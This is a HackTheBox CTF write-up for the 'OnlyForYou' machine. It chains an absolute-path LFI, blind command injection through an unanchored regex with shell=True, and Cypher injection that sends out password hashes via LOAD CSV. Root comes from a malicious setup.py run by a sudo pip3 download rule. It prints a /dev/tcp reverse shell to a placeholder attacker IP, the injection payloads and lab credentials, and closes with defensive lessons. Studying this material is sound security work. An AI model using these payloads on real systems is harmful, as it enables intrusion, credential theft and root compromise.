HTB: OnlyForYou Writeup

OnlyForYou - HackTheBox Writeup

Machine Information

AttributeDetails
NameOnlyForYou
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.10.11.X
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

OnlyForYou is a chain of three distinct web vulnerabilities stacked on top of each other. A Local File Inclusion on a beta subdomain leaks the production app’s source, which reveals a blind command injection hiding behind a badly-anchored regex. That shell lands as www-data, from where a set of localhost-only services (Gogs, a custom admin panel backed by Neo4j, MySQL) become reachable. A Cypher injection against the Neo4j-backed admin panel exfiltrates password hashes out-of-band via LOAD CSV, one of which cracks and grants SSH as john. Root is a sudoers misconfiguration: pip3 download is allowed as root against a local Gogs instance, and pip3 download on a .tar.gz sdist executes its setup.py — arbitrary code as uid=0.

TL;DR: LFI (absolute-path bypass on /download) → source disclosure (form.py) → blind command injection (unanchored email regex + shell=True in issecure()) → reverse shell as www-data → local service enumeration → Cypher injection against Neo4j-backed admin panel (admin:admin) → exfiltrated password hash cracked (john:ThisIs4You) → SSH as johnsudo pip3 download misconfig → malicious sdist pushed to Gogs → setup.py RCE as root.


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -p- 10.10.11.X

Results:

  • 22/tcp — OpenSSH
  • 80/tcp — nginx, redirects/vhosts to only4you.htb

Both hostnames were added to /etc/hosts:

Terminal window
echo "10.10.11.X only4you.htb" | sudo tee -a /etc/hosts
echo "10.10.11.X beta.only4you.htb" | sudo tee -a /etc/hosts

Service Enumeration

The main site on only4you.htb is a static marketing page with a Contact form (POSTs email/subject/message). Subdomain enumeration turned up beta.only4you.htb, a Flask-based image upload/resize/download application — clearly a staging build of functionality intended for the main site.

Vulnerability Assessment

  1. LFI in beta.only4you.htb/download — the endpoint’s traversal filter only blocks ../../, not absolute paths.
  2. Blind command injection in issecure() (form.py) — subprocess.run([...], shell=True) against a dig txt <domain> string, with the domain taken from a user-supplied email validated by an unanchored regex.
  3. Default creds + Cypher injection on an internal admin panel (:8001) backed by Neo4j.
  4. Sudoers misconfigurationpip3 download permitted as root against a local Gogs URL, which executes attacker-controlled setup.py.

Initial Foothold

Local File Inclusion — absolute-path bypass

beta.only4you.htb’s /download endpoint accepts a POST with an image parameter, rejecting any value containing ... It does not reject absolute paths, and since os.path.join() is a no-op when the second argument is already absolute, an absolute path sails straight through both checks and into send_file().

Terminal window
# absolute path bypasses the '..'-only traversal filter
curl -s -X POST http://beta.only4you.htb/download \
--data-urlencode 'image=/etc/passwd'

Pivoting off the nginx vhost config (also readable via the same LFI) to locate the production app’s document root, the app’s source was pulled directly:

Terminal window
curl -s -X POST http://beta.only4you.htb/download \
--data-urlencode 'image=/var/www/only4you.htb/form.py'

Source review — the injection

form.py implements the Contact form’s mail-sending logic. Before sending anything, it “validates” the sender’s email and, critically, checks whether the domain resolves via dig:

# form.py — vulnerable validation logic (recovered via the LFI)
if not re.match(r"([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
return 0
else:
domain = email.split("@", 1)[1]
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)

Two bugs compound here:

  • subprocess.run([...], shell=True) builds a full shell command string out of domain. With shell=True, ;, |, && etc. are all live shell metacharacters.
  • The regex has no trailing $ anchor. A regex match only needs to find a matching prefix — it never has to consume the whole string — so anything can be appended after a syntactically valid email and the match still succeeds.

Combined: test@a.io;<anything> passes validation, and <anything> lands inside run([f"dig txt {domain}"], shell=True, ...) as free-form shell input.

Blind command injection → shell

Since dig’s output isn’t reflected anywhere, this is a blind injection — confirmed and weaponized via the main site’s Contact form, using a base64-wrapped payload to dodge shell-metacharacter mangling in the POST body:

Terminal window
# stage a payload, base64 it to survive form-encoding round-trips
PAYLOAD='bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'
echo -n "$PAYLOAD" | base64
Terminal window
# start the catcher
nc -nlvp 4444

Submitted as the email field on the Contact form:

test@a.io;<b64 revshell>|base64 -d|bash

The unanchored regex accepts the email prefix, shell=True executes the trailing ;<payload> as a normal shell pipeline, and a shell as www-data lands on the listener.

Terminal window
# upgrade to a usable TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

Lateral Movement

Local service discovery

Terminal window
ss -tlpn

Only reachable from localhost:

PortService
3000Gogs (git hosting)
8001Custom admin web app
7474 / 7687Neo4j (HTTP / Bolt)
3306MySQL

Cypher injection on the admin panel

Port 8001 logged in immediately with admin:admin. The panel is backed by a Neo4j graph database and exposes a /search endpoint that builds a Cypher query from user input — the classic pattern behind MATCH (n) WHERE n.name CONTAINS '<input>' RETURN n, breakable by closing the string and chaining additional clauses.

Since query results weren’t rendered back cleanly, out-of-band exfiltration via Neo4j’s LOAD CSV FROM clause (which happily performs an outbound HTTP GET as part of query execution) was used to leak data to a listener:

Terminal window
python3 -m http.server 80 # catch the LOAD CSV callbacks
// closes the original query, walks the user node, exfiltrates
// a collected field by embedding it in the outbound LOAD CSV URL
' MATCH (o:user) WHERE o.username =~ '.*' WITH collect(o.password) AS a
LOAD CSV FROM 'http://<ATTACKER_IP>/'+a[0] AS c RETURN c //

Each request logged to the Python HTTP server leaked a field of the user node — iterating the collected list’s indices dumped both username and password values, one HTTP hit at a time.

Cracking the exfiltrated hash

Terminal window
# sha256, cracked against rockyou
hashcat -m 1400 john.hash /usr/share/wordlists/rockyou.txt

Result: john:ThisIs4You

Terminal window
ssh john@only4you.htb
cat /home/john/user.txt
User Flag: <redacted>

Privilege Escalation

Enumerating sudo rights

Terminal window
sudo -l
(root) NOPASSWD: /usr/bin/pip3 download http://127.0.0.1:3000/*.tar.gz

pip3 download is scoped to fetching packages, but pip does not distinguish “download” from “build”: when pip is handed a source distribution (.tar.gz / sdist, as opposed to a prebuilt wheel), it unpacks it and executes its setup.py to determine build metadata — even during a plain download. Anything importable at module scope in setup.py runs, as whichever UID invoked pip. Root running this against an attacker-writable Gogs URL is a direct RCE-as-root primitive.

Building the malicious sdist

Terminal window
mkdir pwnpack && cd pwnpack
touch README.md
mkdir pwnpack && touch pwnpack/__init__.py
# setup.py — executes on `pip download` because setuptools imports it
# to resolve metadata before the package is ever "installed"
import os
import setuptools
os.system("cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash")
setuptools.setup(
name="pwnpack",
version="0.0.1",
packages=setuptools.find_packages(),
)
Terminal window
# build the sdist tarball (payload already fired locally when this ran)
python3 setup.py sdist

Hosting it on Gogs and triggering root

The resulting .tar.gz was pushed to john’s own Test repository on the local Gogs instance over git-over-HTTP, authenticated with the cracked john:ThisIs4You credentials:

Terminal window
git clone http://john:ThisIs4You@127.0.0.1:3000/john/Test.git
cp dist/pwnpack-0.0.1.tar.gz Test/
cd Test
git add pwnpack-0.0.1.tar.gz
git commit -m "add package"
git push origin master

Gogs’ REST API had basic-auth disabled, so the repository’s visibility couldn’t be flipped via the API — instead the web settings form was driven directly with the authenticated session cookie to flip the Test repo from private to public, since pip3 download (running as root, with no credentials of its own) can only fetch a raw file from a public repo:

Terminal window
# flip repo visibility via the web settings form using the logged-in session cookie
curl -s -b "i_like_gogits=<session-cookie>" \
-X POST http://127.0.0.1:3000/john/Test/settings \
--data 'private=false&...'

With the repo public, the sudoers rule was triggered against the raw file URL:

Terminal window
sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Test/raw/master/pwnpack-0.0.1.tar.gz

pip3 unpacked the sdist and executed setup.py as uid=0, dropping a SUID-root bash:

Terminal window
/tmp/rootbash -p
cat /root/root.txt
Root Flag: <redacted>

Attack Chain Summary

LFI (absolute-path bypass on /download)
→ source disclosure (form.py)
→ blind command injection (unanchored regex + shell=True in issecure())
→ reverse shell as www-data
→ local service enumeration (Gogs:3000, admin:8001, Neo4j:7474/7687, MySQL:3306)
→ Cypher injection on admin panel (admin:admin) via LOAD CSV out-of-band exfil
→ cracked password hash (john:ThisIs4You)
→ SSH as john → user.txt
→ sudo pip3 download misconfig (root, scoped to local Gogs)
→ malicious sdist pushed to Gogs, repo flipped public via session-cookie web flow
→ setup.py executes as root on `pip3 download`
→ SUID root bash → root.txt

Tools Used

ToolPurpose
nmapPort scanning
curlLFI exploitation, Gogs settings form POST
python3 -m http.serverOut-of-band callback catcher for command injection + Cypher injection exfil
ncReverse shell listener
hashcatCracking the exfiltrated sha256 hash against rockyou
gitPushing the malicious sdist to Gogs over HTTP
setuptoolsBuilding the malicious setup.py-triggered sdist
Browser / Burp-style request tamperingCrafting and submitting Cypher injection payloads

Key Learnings

Techniques Practiced

  • Bypassing a substring-based traversal filter with an absolute path
  • Source-code review to escalate an LFI into a targeted secondary vulnerability
  • Exploiting an unanchored regex to smuggle extra data past input validation
  • Blind command injection via shell=True subprocess calls
  • Out-of-band Cypher injection using LOAD CSV FROM as an exfiltration primitive
  • Building a malicious Python sdist that executes code on pip download, not just pip install
  • Working around a disabled API auth path by driving the equivalent web UI flow with a session cookie

Lessons Learned

  1. Traversal filters that only check for .. are trivially bypassed by absolute paths — normalize and confine to a base directory instead.
  2. Regex validation without a trailing anchor validates a prefix, not the whole string — always anchor with ^...$ (and never build shell strings from the “validated” value regardless).
  3. subprocess calls should avoid shell=True entirely when any part of the command is user-influenced; pass an argument list instead.
  4. pip download is not a read-only operation against source distributions — it executes setup.py. Any sudo rule permitting pip download/install against an attacker-influenceable index or URL is equivalent to root RCE.
  5. Default credentials on internal/localhost-only services are still a full compromise path once any foothold is gained — “not internet-facing” isn’t a mitigation.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • OnlyForYou — Official HackTheBox Writeup by C4rm3l0 (Machine Author: 0xM4hm0ud) — used for explanatory background on the LFI absolute-path bypass mechanics, the unanchored-regex/shell=True command injection root cause, the Neo4j Cypher injection query-structure deduction, and why pip3 download executes setup.py on sdist archives. All IPs, commands, outputs, credentials, and specific values in this writeup are from the author’s own solve, not the reference.